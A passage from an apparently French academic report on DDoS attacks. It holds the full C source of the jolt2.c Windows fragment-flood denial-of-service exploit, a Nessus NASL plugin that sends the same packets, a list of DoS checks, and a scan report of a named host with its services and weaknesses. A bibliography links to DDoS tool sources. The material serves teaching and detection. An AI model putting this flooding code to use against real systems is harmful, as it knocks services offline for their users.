http://www.checkpoint.com/products/firewall-1/rsid.html QualysGuard Catégorie: outil d´audit Caractéristiques: détection d´intrus http://www.qualys.com/index.htm Swatch Catégorie: Outil de surveillance réseau Caractéristiques: filtrage, information d'enregistrement de réseau NetRanger intrusion detection system Catégorie: outil de détection d´intrusion http://www.cisco.com/univercd/cc/td/doc/pcat/nerg.htm ProWatch Secure monitoring service Catégorie: Outil de surveillance réseau http://www.netsolve.com/prowatch/ Snort Catégorie: outil de détection d´intrusion http://www.snort.org/ Page 28 DDoS 7.2. jolt2.c /* * File: jolt2.c * Author: Phonix <[email protected]> * Date: 23-May-00 * * Description: This is the proof-of-concept code for the * Windows denial-of-serice attack described by * the Razor team (NTBugtraq, 19-May-00) * (MS00-029). This code causes cpu utilization * to go to 100%. * * Tested against: Win98; NT4/SP5,6; Win2K * * Written for: My Linux box. YMMV. Deal with it. * * Thanks: This is standard code. Ripped from lots of places. * Insert your name here if you think you wrote some of * it. It's a trivial exploit, so I won't take credit * for anything except putting this file together. */ #include <stdio.h> #include <string.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/udp.h> #include <arpa/inet.h> #include <getopt.h> struct _pkt { struct iphdr ip; union { struct icmphdr icmp; struct udphdr udp; } proto; char data; } pkt; int icmplen = sizeof(struct icmphdr), udplen = sizeof(struct udphdr), iplen = sizeof(struct iphdr), spf_sck; void usage(char *pname) { fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", pname); fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n"); Page exit(0); 29 DDoS } u_long host_to_ip(char *host_name) { static u_long ip_bytes; struct hostent *res; res = gethostbyname(host_name); if (res == NULL) return (0); memcpy(&ip_bytes, res->h_addr, res->h_length); return (ip_bytes); } void quit(char *reason) { perror(reason); close(spf_sck); exit(-1); } int do_frags (int sck, u_long src_addr, u_long dst_addr, int port) { int bs, psize; unsigned long x; struct sockaddr_in to; to.sin_family = AF_INET; to.sin_port = 1235; to.sin_addr.s_addr = dst_addr; if (port) psize = iplen + udplen + 1; else psize = iplen + icmplen + 1; memset(&pkt, 0, psize); pkt.ip.version = 4; pkt.ip.ihl = 5; pkt.ip.tot_len = htons(iplen + icmplen) + 40; pkt.ip.id = htons(0x455); pkt.ip.ttl = 255; pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP); pkt.ip.saddr = src_addr; pkt.ip.daddr = dst_addr; pkt.ip.frag_off = htons (8190); if (port) { pkt.proto.udp.source = htons(port|1235); pkt.proto.udp.dest = htons(port); pkt.proto.udp.len = htons(9); pkt.data = 'a'; } else { pkt.proto.icmp.type = ICMP_ECHO; pkt.proto.icmp.code = 0; pkt.proto.icmp.checksum = 0; } Page 30 DDoS while (1) { bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, sizeof(struct sockaddr)); } return bs; } int main(int argc, char *argv[]) { u_long src_addr, dst_addr; int i, bs=1, port=0; char hostname[32]; if (argc < 2) usage (argv[0]); gethostname (hostname, 32); src_addr = host_to_ip(hostname); while ((i = getopt (argc, argv, "s:p:h")) != EOF) { switch (i) { case 's': dst_addr = host_to_ip(optarg); if (!dst_addr) quit("Bad source address given."); break; case 'p': port = atoi(optarg); if ((port <=0) || (port > 65535)) quit ("Invalid port number given."); break; case 'h': default: usage (argv[0]); } } dst_addr = host_to_ip(argv[argc-1]); if (!dst_addr) quit("Bad destination address given."); spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (!spf_sck) quit("socket()"); if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs, sizeof(bs)) < 0) quit("IP_HDRINCL"); do_frags (spf_sck, src_addr, dst_addr, port); } Page 31 DDoS 7.3. Plugins Ils sont nombreux les essais qu´on a fait pour la détection de l´attaque jolt2.c. Voici un exemple: # # Détection de l´attaque jolt2.c # if(description) { script_id(00022); name["english"] = "jolt2DoS"; name["francais"] = " jolt2DoS "; script_name(english:name["english"], francais:name["francais"]); desc["english"] = " This plugin detect if the target can be reach by the program jolt2.c"; desc["francais"] = " Ce plugin détecte si la cible peut être affectée par le programme jolt2.c "; script_description(english:desc["english"], francais:desc["francais"]); script_category(ACT_DENIAL); family["english"] = "denial of service"; family["francais"] = "déni de service"; script_family(english:family["english"], francais:family["francais"]); exit(0); } # # The script code starts here # target = get_host_ip(); src = this_host(); ############## PAQUET IP ################ ip = forge_ip_packet(ip_hl:5, ip_v:4, ip_tos:0, ip_len:28, ip_id:0x455, ip_off:8190, ip_ttl:255, ip_p:IPPROTO_ICMP, ip_src:src, ip_dst:target); ############## PAQUET ICMP ################## icmp = forge_icmp_packet(ip:ip, Page 32 DDoS icmp_type:8, icmp_code:0, icmp_cksum:0, icmp_seq:0, icmp_id:0); ############## ENVOI DU PAQUET et ATTENTE DE REPONSE ################ while(1){ reply = send_packet(icmp,pcap_active:TRUE); if(!reply){ security_hole(port); set_kb_item(name:"Host/dead", value:TRUE); } } N.B.: Normalement, les détections d´attaque se font de cette façon, mais dans ce cas c´est incorrect parce que : • la cible a le temps de se remettre. • Cette détection n´est pas très bonne parce que peut-être il y e d´ordinateurs qui ne sont pas configurés pour répondre à ces types de paquets • nous attendons à recevoir la réponse. Avec l´utilisation de librairies pcap on économiserait ce temps d´attente. Page 33 DDoS 7.4. Attaques de déni de service détectés par Nessus. syn flood" attack e-mail_bombing_spamming anonymous_ftp_config ping ICMP Storm aka Smurf attack Statistical Attack Teardrop UDP null size going to SNMP DoS smad Oracle Web Server denial of Service pimp Nortel Contivity DoS OShare Nestea Linux 2.1.89 - 2.2.3 : 0 length fragment bug Wingate denial of service Winnuke NT IIS Malformed HTTP Request Header DoS Vulnerability IIS Malformed Extension Data in URL Land IIS "GET ../../" Firewall/1 UDP port 0 DoS Bonk ICQ Denial of Service attack Axent Raptor"s DoS GroupWise buffer overflow SalesLogix Eviewer WebApp crash + + + ATH0 modem hangup Eicon Diehl LAN ISDN modem DoS Ascend Kill Domino HTTP Denial cisco http DoS SunKill Annex DoS AnalogX denial of service SLMail denial of service rfpoison Livingston Portmaster crash Notes MTA denial MDaemon DoS Wingate POP3 USER overflow rfparalyze IIS FTP server crash Hyperbomb MDaemon crash Cassandra NNTP Server DoS FTP ServU CWD overflow Interscan 3.32 SMTP Denial BFTelnet DoS Chameleon SMTPd overflow Microsoft"s SQL TCP/IP denial of service Novell Border Manager WindowsNT DNS flood denial Ken! DoS RealServer denial of Service RealServer Ramgen crash (ramcrash) Page 34 DDoS SLMail:27 denial of service WINS UDP flood denial Netscape Enterprise Server DoS Mercure WebView WebClient WindowsNT PPTP flood denial Microsoft Media Server 4.1 - DoS MDaemon Worldclient crash MDaemon Webconfig crash Yahoo Messenger Denial of Service attack pnserver crash iParty Cisco DoS HotSync Manager Denial of Service attack Page 35 DDoS 7.5. Nessus Scan Report. Number of hosts which were alive during the test : 1 Number of security holes found : 2 Number of security warnings found : 13 List of the tested hosts : 172.16.20.187(Security problems found) 172.16.20.187 : List of open ports : general/udp general/tcp netbios-ns (137/udp) unknown (780/udp) (Security hole found) smtp (25/tcp) (Security hole found) www (80/tcp) telnet (23/tcp) ftp (21/tcp) ntalk (518/udp) general/icmp ssh (22/tcp) Information found on port general/udp For your information, here is the traceroute to 172.16.20.187 : 172.16.20.187 Information found on port general/tcp Predictable TCP sequence number : If numbers are close together, or rise by the same number all the time, it means that it is easy to predict the next sequence number that will be used by the computer (since these aren't randomized enough). This may help attackers with several other attacks, such as Session Hijacking or with Session Spoofing, where in those cases the attacker needs to predict certain charactistics of the attacked computer. The TCP sequence numbers retrieved and their relative size were: SEQ: 3749056312 SEQ: 3749060627 relative size: 4315 SEQ: 3749071969 relative size: 11342 SEQ: 3749080674 relative size: 8705 SEQ: 3749085664 relative size: 4990 SEQ: 3749089626 relative size: 3962 SEQ: 3749093771 relative size: 4145 SEQ: 3749097854 relative size: 4083 SEQ: 3749101984 relative size: 4130 SEQ: 3749106412 relative size: 4428 Page 36 DDoS CVE : CVE-1999-0077 Information found on port general/tcp If numbers are close together, or rise by the same number all the time, it means that the amount of traffic can be predicted by monitoring changes in the idetification numbers (since these aren't randomized enough). This may help attackers with several other attacks, such as Session Hijacking or with Session Spoofing, where in those cases the attacker needs to predict certain charactistics of the attacked computer (such as traffic size). The IP Identification numbers retrieved and their relative size were: ID: 9902 ID: 9903 relative size: 1 ID: 9904 relative size: 1 ID: 9905 relative size: 1 ID: 9906 relative size: 1 ID: 9907 relative size: 1 ID: 9908 relative size: 1 ID: 9909 relative size: 1 ID: 9910 relative size: 1 ID: 9911 relative size: 1 Information found on port netbios-ns (137/udp) . The following 5 NetBIOS names have been gathered : LOIF = This is the computer name registered for workstation services by a WINS client. LOIF = Computer name that is registered for the messenger service on a computer that is a WINS client. LOIF GERBOWORLD = Workgroup / Domain name GERBOWORLD . This SMB server seems to be a SAMBA server (this is not a security risk, this is for your information). This can be told because this server claims to have a null MAC address If you do not want to allow everyone to find the NetBios name of your computer, you should filter incoming traffic to this port. Risk factor : Medium Vulnerability found on port unknown (780/udp) The statd RPC service is running. This service has a long history of security holes, so you should really know what you are doing if you decide to let it run. Page 37 DDoS * NO SECURITY HOLE REGARDING THIS PROGRAM HAVE BEEN TESTED, SO THIS MIGHT BE A FALSE POSITIVE * We suggest you to disable this service. Risk factor : High CVE : CVE-1999-0018 Vulnerability found on port smtp (25/tcp) It was possible to crash the remote SMTP server by opening a great amount of sockets on it. This problem allows crackers to make your SMTP server crash, thus preventing you from sending or receiving e-mails, which will affect your work. Solution : contact your vendor for a fix. Risk factor : Serious CVE : CAN-1999-0846 Information found on port smtp (25/tcp) loif.maisel.enst-bretagne.fr ESMTP Exim 3.12 #1 Thu, 08 Jun 2000 11:47:55 +0200 214-Commands supported:214- HELO EHLO MAIL RCPT DATA AUTH 214 NOOP QUIT RSET HELP Information found on port www (80/tcp) The remote web server type is : Apache/1.3.12 (Unix) Debian/GNU We recommend that you configure your web server to return bogus versions, so that it makes the cracker job more difficult Information found on port telnet (23/tcp) loif.maisel.enst-bretagne.fr login: Information found on port telnet (23/tcp) The Telnet service is running. This service is dangerous in the sense that it is not ciphered - that is, everyone can sniff Page 38 DDoS the data that passes between the telnet client and the telnet server. This includes logins and passwords. You should disable this service and use OpenSSH instead. (www.openssh.com) Solution : Comment out the 'telnet' line in /etc/inetd.conf. Risk factor : Low CVE : CAN-1999-0619 Information found on port ftp (21/tcp) ProFTPD 1.2.0pre10 Server (ProFTPD) [loif.maisel.enst-bretagne.fr] Information found on port ntalk (518/udp) talkd is running (talkd is the server that notifies a user that someone else wants to initiate a conversation) Malicious hackers may use it to abuse legitimate users by conversing with them with a false identity (social engineering). In addition to this, crackers may use this service to execute arbitrary code on your system. Solution: Disable talkd access from the network by adding the approriate rule on your firewall. If you do not need talkd, comment out the relevant line in /etc/inetd.conf. See aditional information regarding the dangers of keeping this port open: http://www.cert.org/advisories/CA-97.04.talkd.html Risk factor : Medium CVE : CVE-1999-0048 Information found on port ntalk (518/udp) talkd protocol version: 1 CVE : CVE-1999-0048 Information found on port general/icmp The remote host answers to an ICMP timestamp request. This allows an attacker to know the date which is set on your machine. This may help him to defeat all your time based authentifications protocols. Page 39 DDoS Solution : filter out the icmp timestamp requests (13), and the outgoing icmp timestamp replies (14). Risk factor : Low CVE : CAN-1999-0524 Information found on port ssh (22/tcp) SSH-1.5-1.2.26 Page 40 DDoS 7.6. Acronymes. CERT/CC CERT DSIT IRT ISP NCCS NSP IMAP IDS chargen RFC IETF rcp RPC NIPC STAU PSIRT ISS SATAN ISS GIMP GNU GTK FSF GPL SEI DARPA TFN ZZ FBI IRT CSIRT NASL Page CERT Coordination Center Computer Emergency Response Team Distributed - Systems Intruder Tools Incident Reponse Teams Internet Service Provider National Computer Crime Squad Network Security Probe Internet Message Access Protocol Intrusion Detection Systems character generator Request For Comment The Internet Engineering Task Force Remote copy command Remote procedure call National Infrastructure Proctection Center Special Technology Applications Unit Product Security Incident Response Team Internet Scanner Security Administrator Tool for Analyzing Networks Internet Security Scanner GNU Image Manipulation Program GNU's Not Unix GIMP Toolkit Free Software Foundation GNU General Public License Software Engineering Institute Defense Advanced Research Projects Agency tribe flood network (=teletubbie flood net) Zombie Zapper Federal Bureau of Investigation Incident Reponse Team Computer Security Incident Reponse Team Nessus Attack Scripting Language 41 DDoS 8. Bibliographie. Results of the Distributed Systems Intruder Tools Workshop Description: DDoS URL: http://www.cert.org/reports/dsit_workshop-final.html Denial of service Description: DoS URL: http://www.cert.org/ftp/tech_tips/denial_of_service Whitehats Sitemap Description: sécurité, outils, librairies, forum, services, DDoS … URL: http://whitehats.com/ids/ denial-of-service-tools Description: DoS http://www.cert.org/advisories/CA-99-17-denial-of-service-tools.html Identifying tools that aid in detecting signs of intrusion Description : outils de défense http://www.cert.org/security-improvement/implementations/i042.07.html CERT® Summaries Description : Rapports d´attaques http://www.cert.org/summaries/index.html Technotronic Description : Information sécurité, outils http://www.technotronic.com/ Distributed Denial of Service Attacks Description : article http://www.networkmagazine.com/ddos_special.htm Trinoo Description : analysis http://staff.washington.edu/dittrich/misc/trinoo.analysis TFN Description : analysis ttp://staff.washington.edu/dittrich/misc/tfn.analysis, Stacheldraht Description : analysis ttp://staff.washington.edu/dittrich/misc/tfn.analysis, Page 42 DDoS Code source des attaques distribuées tfn2k.tgz tfn.tgz trinoo.tgz http://www.technotronic.com/denial.html Exploit des attaques de déni de service http://rootshell.com/search.fcg Security focus Description: IDS, services et rapports http://www.securityfocus.com/ CVE http://cve.mitre.org/about/ Journales Description : Magazines http://www.deadly.org/ http://www.zdnet.fr/actu/ http://www.journalinformatique.com/ http://france.internet.com/ Info Security Asia Description : conferences http://www.info-security.com.sg/main.htm HNC Network Description : IT & security news, archives hacking utilities http://www.hack-net.com/texts/sping.txt mstream Description : DDoS http://www.cert.org/incident_notes/IN-2000-05.html service.exe Description : DDoS http://www.cert.org/incident_notes/IN-2000-01.html Page 43